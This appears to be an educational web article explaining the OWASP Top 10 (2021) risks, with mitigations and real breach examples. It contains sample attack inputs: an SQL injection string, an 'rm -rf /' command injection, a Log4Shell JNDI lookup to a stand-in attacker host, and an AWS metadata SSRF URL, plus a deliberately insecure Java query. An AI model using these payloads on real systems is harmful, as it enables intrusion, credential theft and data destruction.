Stackvora.tech

OWASP Top 10 (2021) Explained with Real Breaches

The OWASP Top 10 is a standard awareness document for developers and web application security professionals. It represents a broad consensus about the…

The OWASP Top 10 is a standard awareness document for developers and web application security professionals. It represents a broad consensus about the most critical security risks to web applications. While not an exhaustive list of all possible vulnerabilities, it serves as an excellent starting point for identifying and mitigating the most prevalent and impactful threats. This article dissects the OWASP Top 10 (2021) categories, providing technical context, common exploit scenarios, and real-world breach examples to illustrate their impact.

A01: Broken Access Control

Broken Access Control refers to vulnerabilities where restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to gain unauthorized access to functionality or data. This typically happens due to incorrect authorization checks at the server-side, or simply missing checks.

  • Common Exploits:
    • URL manipulation (e.g., changing id=123 to id=124 to access another user's record).
    • Elevation of privilege (e.g., a regular user accessing administrator functions).
    • Metadata manipulation (e.g., altering HTTP headers or JSON attributes).
    • Platform misconfiguration (e.g., insecure file permissions).
  • Mitigation: Implement robust, server-side authorization checks for all requests. Use a single, well-tested access control mechanism throughout the application. Deny by default.
  • Real-world Example (Facebook 2021): While not a single "breach" in the traditional sense, numerous incidents on Facebook and other platforms have involved broken access control. A notable example from 2021 involved a data leak of over 533 million users' phone numbers and personal data, scraped years prior due to a vulnerability in Facebook's "Contact Importer" feature. Although Facebook patched the vulnerability in 2019, the data was already exfiltrated. This specific vulnerability allowed attackers to link phone numbers to user IDs, demonstrating how even seemingly minor access control flaws can lead to large-scale data exposure.

A02: Cryptographic Failures

This category, formerly "Sensitive Data Exposure," now emphasizes the root cause: cryptographic failures. It involves inadequate protection of data at rest or in transit, leading to exposure of sensitive information. This includes weak encryption, improper key management, or failure to encrypt sensitive data at all.

  • Common Exploits:
    • Storing passwords in plaintext or using weak hashing algorithms (e.g., MD5 without salting).
    • Using deprecated or weak cryptographic protocols (e.g., SSLv3, weak ciphers in TLS).
    • Inadequate key management (e.g., hardcoding keys, using easily guessable keys).
    • Failure to encrypt data at rest (e.g., databases, file storage).
  • Mitigation: Classify data and apply appropriate encryption. Use strong, up-to-date cryptographic algorithms (e.g., TLS 1.2+ for transport, AES-256 for data at rest). Implement secure key management, including rotation and secure storage (e.g., HSMs).
  • Real-world Example: The Equifax breach (2017) highlighted severe cryptographic failures, among other issues. While the primary exploit was an Apache Struts vulnerability (A06), the exfiltration of sensitive data like Social Security numbers was exacerbated by a failure to encrypt certain fields in their databases, turning a system compromise into a massive sensitive data exposure.

A03: Injection

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. This includes SQL, NoSQL, OS, LDAP, and XPATH injection.

  • Common Exploits:
    • SQL Injection: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = 'password';
    • OS Command Injection: Injecting commands like ; rm -rf / into system calls.
    • LDAP Injection: Manipulating LDAP queries to bypass authentication or extract information.
  • Mitigation: The primary defense is to use parameterized queries (prepared statements) for all database interactions. Input validation and output encoding are crucial secondary defenses. Avoid direct OS command execution from user input.
  • Real-world Example: TalkTalk (2015) suffered a significant breach attributed to a basic SQL Injection vulnerability. Attackers accessed personal and banking details of over 150,000 customers. This was a straightforward exploit that could have been prevented with proper parameterization of database queries.

// Example of INSECURE SQL query (Java, highly simplified)
String username = request.getParameter("username");
String password = request.getParameter("password");
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'");

// Example of SECURE SQL query using PreparedStatement (Java)
String username = request.getParameter("username");
String password = request.getParameter("password");
PreparedStatement pstmt = connection.prepareStatement("SELECT * FROM users WHERE username=? AND password=?");
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

A04: Insecure Design

A new category in 2021, Insecure Design focuses on flaws related to missing or ineffective control design. This isn't about implementation bugs, but about fundamental design shortcomings in the application architecture or business logic. It's about "what was designed" rather than "what was coded."

  • Common Exploits:
    • Lack of proper threat modeling during design phase.
    • Inadequate separation of duties or trust boundaries.
    • Business logic flaws (e.g., allowing multiple discounts to be applied, bypassing payment steps).
    • Absence of security controls for sensitive operations.
  • Mitigation: Integrate threat modeling (e.g., STRIDE, DREAD) into the SDLC. Implement secure design patterns. Use a "security by design" approach from project inception. Implement robust access control models (e.g., RBAC).
  • Real-world Example: Many cryptocurrency exchange hacks (e.g., Mt. Gox 2014) can be partially attributed to insecure design. Beyond specific code vulnerabilities, design flaws such as insufficient multi-signature policies for cold wallets, poor segregation of duties for key management, or flawed recovery processes for funds created inherent weaknesses that attackers eventually exploited, leading to massive losses.

A05: Security Misconfiguration

Security Misconfiguration is the most commonly seen issue, often a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, or verbose error messages containing sensitive information.

  • Common Exploits:
    • Default credentials (e.g., admin:admin, root:toor).
    • Unpatched systems, services, and applications.
    • Open ports, services, or storage buckets (e.g., S3 buckets with public read/write access).
    • Directory listings enabled.
    • Misconfigured security headers (e.g., missing Strict-Transport-Security, Content-Security-Policy).
  • Mitigation: Implement a repeatable hardening process. Automate configuration management. Remove unused features and default credentials. Ensure proper security headers are set. Regularly review and update configurations.
  • Real-world Example: Many cloud storage breaches, such as those involving S3 buckets, fall under this category. For instance, in 2017, Accenture left four unencrypted Amazon S3 storage buckets publicly accessible, containing highly sensitive data including internal certificates, client data, and confidential information, due to misconfigured permissions.

A06: Vulnerable and Outdated Components

Applications often rely on third-party libraries, frameworks, and other software components. If these components have known vulnerabilities, they can pose a significant risk to the entire application. Attackers can exploit these known weaknesses if the components are not updated or patched.

  • Common Exploits:
    • Using outdated versions of known vulnerable libraries (e.g., Apache Struts, OpenSSL, Log4j).
    • Failure to patch OS or framework vulnerabilities.
    • Inclusion of malicious or compromised third-party code.
  • Mitigation: Regularly inventory components. Monitor public vulnerability databases (e.g., NVD, CVE). Use Software Composition Analysis (SCA) tools. Establish a patching and update management process.
  • Real-world Example (Log4Shell - CVE-2021-44228): The Log4Shell vulnerability in the Apache Log4j library was a critical remote code execution (RCE) flaw discovered in late 2021. It allowed attackers to execute arbitrary code on systems running applications using vulnerable versions of Log4j by simply logging a specially crafted string. This vulnerability impacted a vast number of applications and services globally, demonstrating the widespread danger of vulnerable components. 
    
// Example of Log4Shell exploit string (attacker-controlled input)
${jndi:ldap://attacker.com/a}
    This string, when logged by a vulnerable Log4j instance (versions 2.0-beta9 to 2.14.1), causes the server to initiate an LDAP lookup to attacker.com, which can then return a malicious Java object for execution.

A07: Identification and Authentication Failures

This category, previously "Broken Authentication," encompasses vulnerabilities related to identity, authentication, and session management. It includes flaws in implementing proper functions that verify a user's identity, which can lead to attackers compromising passwords, session tokens, or exploiting other flaws to assume other users’ identities.

  • Common Exploits:
    • Weak password policies or credentials.
    • Brute-force, credential stuffing, or dictionary attacks.
    • Insecure session management (e.g., predictable session IDs, session fixation).
    • Lack of multi-factor authentication (MFA) or weak MFA implementation.
    • Exposure of sensitive session IDs in URLs.
  • Mitigation: Implement strong password policies and use strong hashing algorithms (e.g., bcrypt, Argon2) with salt. Enforce MFA. Implement secure session management, including proper invalidation and random, long session IDs. Use secure password reset mechanisms.
  • Real-world Example: Many breaches involving credential stuffing or brute-force attacks fall here. For instance, the PlayStation Network breach (2011) was due to authentication failures and other vulnerabilities, leading to the compromise of millions of user accounts. While not exclusively brute-force, it highlighted the weakness of authentication mechanisms in place.

A08: Software and Data Integrity Failures

A new category for 2021, this focuses on code and infrastructure integrity. It covers vulnerabilities related to assumptions about software updates, critical data, and CI/CD pipelines without verifying their integrity. It also includes insecure deserialization.

  • Common Exploits:
    • Insecure update mechanisms (e.g., downloading updates over HTTP, no signature verification).
    • Insecure CI/CD pipelines allowing injection of malicious code.
    • Unverified software dependencies.
    • Insecure deserialization of untrusted data, leading to RCE.
  • Mitigation: Ensure integrity checks for software updates (e.g., digital signatures, checksums). Implement secure CI/CD practices. Verify the integrity of dependencies. Avoid deserializing untrusted data. Use robust software supply chain security practices.
  • Real-world Example (SolarWinds 2020): The SolarWinds supply chain attack is a prime example. Attackers injected malicious code into legitimate software updates for SolarWinds Orion platform. Customers who downloaded and installed these seemingly legitimate updates unknowingly installed the backdoor, granting attackers access to their networks. This was a profound failure in software and data integrity across the supply chain.

A09: Security Logging and Monitoring Failures

This category addresses issues where logging and monitoring are insufficient, absent, or ineffective, allowing attackers to persist, pivot to other systems, and tamper with, extract, or destroy data without detection.

  • Common Exploits:
    • Lack of logging for security-relevant events (e.g., failed logins, access control failures).
    • Insufficient monitoring for suspicious activities.
    • Lack of alerts for critical security events.
    • Logs not being protected from tampering.
  • Mitigation: Implement comprehensive logging for all security-relevant events. Centralize logs for analysis. Establish monitoring and alerting for suspicious patterns. Protect logs from tampering and ensure adequate retention. Regularly review logs.
  • Real-world Example: Many breaches go undetected for months or even years due to poor logging and monitoring. The Target breach (2013) is a stark illustration. While multiple security systems flagged the malicious activity, alerts were either ignored, not prioritized, or went unnoticed by personnel, leading to prolonged data exfiltration.

A10: Server-Side Request Forgery (SSRF)

SSRF flaws occur when a web application fetches a remote resource without validating the user-supplied URL. An attacker can manipulate the URL to make the application send requests to an unintended destination, potentially exposing internal systems or data.

  • Common Exploits:
    • Accessing internal services or APIs (e.g., http://localhost:8080/admin).
    • Accessing cloud provider metadata services (e.g., AWS EC2 metadata service http://169.254.169.254/latest/meta-data/).
    • Scanning internal networks.
    • Port scanning.
  • Mitigation: Whitelist allowed URLs or domains. Validate and sanitize user-supplied input. Do not send raw responses from remote servers to the client. Limit the protocols, ports, and destinations that the application can request.
  • Real-world Example (Capital One 2019): The Capital One breach was famously enabled by an SSRF vulnerability in their cloud infrastructure. An attacker exploited a misconfigured web application firewall (WAF) to issue commands against the WAF's underlying server, which then made requests to AWS EC2 metadata service. This allowed the attacker to retrieve temporary AWS credentials, subsequently accessing and exfiltrating data from S3 buckets.

Common Pitfalls and Troubleshooting

  • Over-reliance on WAFs: While Web Application Firewalls are valuable, they are not a silver bullet. Many complex logic flaws or targeted attacks can bypass WAFs. They should be part of a defense-in-depth strategy, not the sole defense.
  • Ignoring non-public-facing systems: Internal applications, APIs, and microservices often receive less scrutiny but can be just as vulnerable, and their compromise can serve as a pivot point for attackers.
  • Assuming default configurations are secure: Always review and harden default settings for all software, operating systems, and network devices.
  • Patching without testing: While critical to apply security updates, improper patching without testing can introduce instability or new vulnerabilities. Maintain a robust change management process.
  • Insufficient threat modeling: Skipping or doing superficial threat modeling during the design phase often leads to the A04: Insecure Design pitfalls later on. Invest time upfront to identify potential attack vectors.
  • Lack of automation: Manual security checks are prone to human error and inconsistency. Automate vulnerability scanning, dependency checking, and configuration reviews where possible.

Back to the knowledge base · Ask the AI assistant